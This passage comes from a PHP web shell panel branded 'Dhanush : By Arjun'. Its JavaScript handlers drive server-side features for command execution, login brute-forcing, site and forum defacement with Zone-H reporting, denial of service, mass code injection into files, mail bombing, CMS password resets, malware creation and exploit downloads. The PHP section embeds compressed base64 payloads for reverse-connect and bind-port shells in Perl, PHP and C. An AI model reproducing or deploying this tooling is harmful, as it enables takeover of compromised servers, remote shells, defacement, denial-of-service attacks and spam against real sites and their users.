'none';\r\n\t\t\tdocument.getElementById(\"showsql\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?mydata\", true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction bruteforce(prototype,serverport,login,dict)\r\n{\r\n\tvar mytype = document.getElementsByName('mytype');\r\n\tfor (var i = 0, length = mytype.length; i < length; i++)\r\n\t{\r\n\t\tif (mytype[i].checked)\r\n\t\t\tbreak;\r\n\t}\r\n\tvar getreverse = 0;\r\n\tif(document.getElementById('reverse').checked == true)\r\n\t\tgetreverse = 1;\r\n\telse\r\n\t\tgetreverse = 0;\r\n\t\r\n\tdocument.getElementById(\"showbrute\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showbrute\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?prototype=\"+prototype+\"&serverport=\"+serverport+\"&login=\"+login+\"&dict=\"+dict+\"&type=\"+mytype[i].value+\"&reverse=\"+getreverse, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction executemyfile(action,executepath,execute)\r\n{\r\n\tdocument.getElementById(\"showmaindata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmaindata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+action+\"&executepath=\"+executepath+\"&execute=\"+execute, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction maindata(myaction,dir)\r\n{\r\n\tdocument.getElementById(\"showmaindata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmaindata\").innerHTML=ajaxRequest.responseText;\r\n\t\t\tdocument.getElementById(\"showdir\").innerHTML=\"\";\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+myaction+\"=\"+myaction+\"&dir=\"+dir, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction manuallyscriptfn(passwd)\r\n{\r\n\tvar message = encodeURIComponent(passwd);\r\n\tvar params = \"scriptlocator=scriptlocator&passwd=\"+passwd;\r\n\tdocument.getElementById(\"showdata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction my404page(message)\r\n{\r\n\tvar message = encodeURIComponent(message);\r\n\tvar params = \"404page=404page&message=\"+message;\r\n\tdocument.getElementById(\"showdata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction executemyfn(executepath,executemycmd)\r\n{\r\n\tdocument.getElementById(\"showexecute\").innerHTML=\"Wait....\";\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showexecute\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?executepath=\"+executepath+\"&executemycmd=\"+executemycmd, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction zoneh(defacer,hackmode,reason,domain)\r\n{\r\n\tvar domain = encodeURIComponent(domain);\r\n\tvar params = \"SendNowToZoneH=SendNowToZoneH&defacer=\"+defacer+\"&hackmode=\"+hackmode+\"&reason=\"+reason+\"&domain=\"+domain;\r\n\tdocument.getElementById(\"showzone\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showzone\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction savemyfile(file,content)\r\n{\r\n\tvar content = encodeURIComponent(content);\r\n\tvar params = \"content=\"+content+\"&file=\"+file;\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction renamefun(file,to)\r\n{\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?renamemyfile&file=\"+file+\"&to=\"+to, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction changeperms(chmode,myfilename)\r\n{\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?chmode=\"+chmode+\"&myfilename=\"+myfilename, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction defacefun(deface)\r\n{\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\talert(ajaxRequest.responseText);\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?deface=\"+deface, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction fileaction(myaction,myfilepath)\r\n{\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+myaction+\"&myfilepath=\"+myfilepath, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction bypassfun(funct,functvalue,optiontype)\r\n{\r\n\tdocument.getElementById(\"showbyp\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showbyp\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?bypassit&\"+funct+\"=\"+functvalue+\"&optiontype=\"+optiontype, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)\r\n{\r\n\tdocument.getElementById(\"showdos\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdos\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+target+\"&ip=\"+ip+\"&port=\"+port+\"&timeout=\"+timeout+\"&exTime=\"+exTime+\"&multiplier=\"+multiplier+\"&no0fBytes=\"+no0fBytes, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction createfile(filecreator,filecontent)\r\n{\r\n\tvar mm = filecreator.slice(0, filecreator.lastIndexOf(\"<?php echo addslashes(\$directorysperator); ?>\"));\r\n\tvar filecontent = encodeURIComponent(filecontent);\r\n\tvar params = \"filecontent=\"+filecontent+\"&filecreator=\"+filecreator;\r\n\tdocument.getElementById(\"showdir\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tgethome('home',mm);\r\n\t\t\tdocument.getElementById(\"showdir\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction createdir(create,createfolder)\r\n{\r\n\tdocument.getElementById(\"showdir\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdir\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+create+\"=\"+createfolder, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction codeinsert(code)\r\n{\r\n\tvar code = encodeURIComponent(code);\r\n\tvar params = \"getcode=\"+code;\r\n\tdocument.getElementById(\"showcode\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showcode\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction getmydata(mydata)\r\n{\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+mydata, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction getdata(mydata,myfile)\r\n{\r\n\tdocument.getElementById(\"showdata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+mydata+\"&myfile=\"+myfile, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction getport(host,protocol,start,end)\r\n{\r\n\tdocument.getElementById(\"showports\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showports\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?host=\" + host + \"&protocol=\" + protocol, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uid,uname,newpass)\r\n{\r\n\tdocument.getElementById(\"showchangepass\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showchangepass\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER['PHP_SELF']; ?>?forumpass&f1=\" + f1 + \"&f2=\" + f2 + \"&f3=\" + f3 + \"&f4=\" + f4 + \"&forums=\" + forums + \"&prefix=\" + tableprefix + \"&ipbuid=\" + ipbuid + \"&newipbpass=\" + newipbpass + \"&username=\" + username + \"&newjoomlapass=\" + newjoomlapass + \"&uid=\" + uid + \"&uname=\" + uname + \"&newpass=\" + newpass, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,alll,f5)\r\n{\r\n\tvar index = encodeURIComponent(index);\r\n\tvar params = \"forumdeface=\"+defaceforum+\"&index=\" + index + \"&f1=\" + f1 + \"&f2=\" + f2 + \"&f3=\" + f3 + \"&f4=\" + f4 + \"&tableprefix=\"+tableprefix+\"&siteurl=\"+siteurl+\"&head=\"+head+\"&alll=\"+alll+\"&f5=\"+f5;\r\n\tdocument.getElementById(\"showdeface\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdeface\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction codeinjector(pathtomass,mode,filetype,injectthis)\r\n{\r\n\tvar injectthis = encodeURIComponent(injectthis);\r\n\tvar params = \"pathtomass=\"+pathtomass+\"&mode=\" + mode + \"&filetype=\" + filetype + \"&injectthis=\" + injectthis;\r\n\tdocument.getElementById(\"showinject\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showinject\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction sendmail(mailfunction,to,subject,message,from,times,padding)\r\n{\r\n\tvar message = encodeURIComponent(message);\r\n\tif(mailfunction == \"massmailing\")\r\n\t\tvar params = \"mailfunction=\"+mailfunction+\"&to=\"+to+\"&subject=\"+subject+\"&from=\" + from + \"&message=\" + message;\r\n\telse if(mailfunction == \"dobombing\")\r\n\t\tvar params = \"mailfunction=\"+mailfunction+\"&to=\"+to+\"&subject=\"+subject+\"×=\" + times + \"&padding=\" + padding + \"&message=\" + message;\r\n\tdocument.getElementById(\"showmail\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmail\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction execode(code)\r\n{\r\n\tvar intext = document.getElementById('intext').checked;\r\n\tvar message = encodeURIComponent(message);\r\n\tvar params = \"code=\"+code+\"&intext=\"+intext;\r\n\tdocument.getElementById(\"showresult\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showresult\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction malwarefun(malwork)\r\n{\r\n\tvar malpath = document.getElementById('createfile').value;\r\n\tdocument.getElementById(\"showmal\").innerHTML=\"<center><marquee scrollamount=4 width=150>Wait....</marquee></center>\";\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmal\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+malwork+\"&path=\"+malpath, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction getexploit(wurl,path,functiontype)\r\n{\r\n\tdocument.getElementById(\"showexp\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showexp\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?uploadurl&wurl=\"+wurl+\"&functiontype=\"+functiontype+\"&path=\"+path, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction showMsg(msg)\r\n{\r\n\tif(msg == 'smf')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"smf_\";\r\n\t\tdocument.getElementById('fid').style.display='block';\r\n\t\tdocument.getElementById('wpress').style.display='none';\r\n\t\tdocument.getElementById('joomla').style.display='none';\r\n\t}\r\n\tif(msg == 'mybb')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"mybb_\";\r\n\t\tdocument.getElementById('wpress').style.display='none';\r\n\t\tdocument.getElementById('joomla').style.display='none';\r\n\t\tdocument.getElementById('fid').style.display='block';\r\n\t}\r\n\tif(msg == 'ipb' || msg == 'vb')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"\";\r\n\t\tdocument.getElementById('wpress').style.display='none';\r\n\t\tdocument.getElementById('joomla').style.display='none';\r\n\t\tdocument.getElementById('fid').style.display='block';\r\n\t}\r\n\tif(msg == 'wp')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"wp_\";\r\n\t\tdocument.getElementById('wpress').style.display='block';\r\n\t\tdocument.getElementById('fid').style.display='none';\r\n\t\tdocument.getElementById('joomla').style.display='none';\r\n\t}\r\n\tif(msg == 'joomla')\r\n\t{\r\n\t\tdocument.getElementById('joomla').style.display='block';\r\n\t\tdocument.getElementById('tableprefix').value=\"jos_\";\r\n\t\tdocument.getElementById('wpress').style.display='none';\r\n\t\tdocument.getElementById('fid').style.display='none';\r\n\r\n\r\n\t}\r\n}\r\nfunction checkforum(msg)\r\n{\r\n\tif(msg == 'smf')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"smf_\";\r\n\t\tdocument.getElementById('smfipb').style.display='block';\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('wordpres').style.display='none';\r\n\t}\r\n\tif(msg == 'phpbb')\r\n\t{\t\r\n\t\tdocument.getElementById('tableprefix').value=\"phpb_\";\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='block';\r\n\t\tdocument.getElementById('wordpres').style.display='none';\t\r\n\t}\r\n\tif(msg == 'mybb')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"mybb_\";\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='none';\r\n\t}\r\n\tif(msg == 'vb')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"\";\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='none';\r\n\t}\r\n\tif(msg == 'ipb')\r\n\t{\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='block';\r\n\t\tdocument.getElementById('tableprefix').value=\"\";\r\n\t\tdocument.getElementById('wordpres').style.display='none';\r\n\t\t\r\n\t}\r\n\tif(msg == 'wp')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"wp_\";\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='block';\r\n\t\tdocument.getElementById('wordpres').style.display='block';\r\n\t}\r\n\tif(msg == 'joomla')\r\n\t{\r\n\t\tdocument.getElementById('myjoomla').style.display='block';\r\n\t\tdocument.getElementById('tableprefix').value=\"jos_\";\r\n\t\tdocument.getElementById('smfipb').style.display='none';\r\n\t\t\r\n\t}\r\n}\r\n</script>\r\n<body>\r\n<?php\r\n\t\r\n\$back_connect_p=\"eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==\";\r\n\r\n\$backconnect_perl=\"eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=\";\r\n\r\n\$bind_port_c=\"bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP\";\r\n\r\n\$bind_port_p=\"bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==\";\r\nshellstyle();\r\n?>\r\n<div align=\"center\">\r\n<a href=\"<?php \$_SERVER['PHP_SELF'];?>\"><font size=\"6\" color=\"#FF0000\" style=\"text-decoration:none;\" face=\"Times New Roman, Times, serif\">Dhanush : By Arjun </font></a>\r\n\r\n</div>\r\n<hr 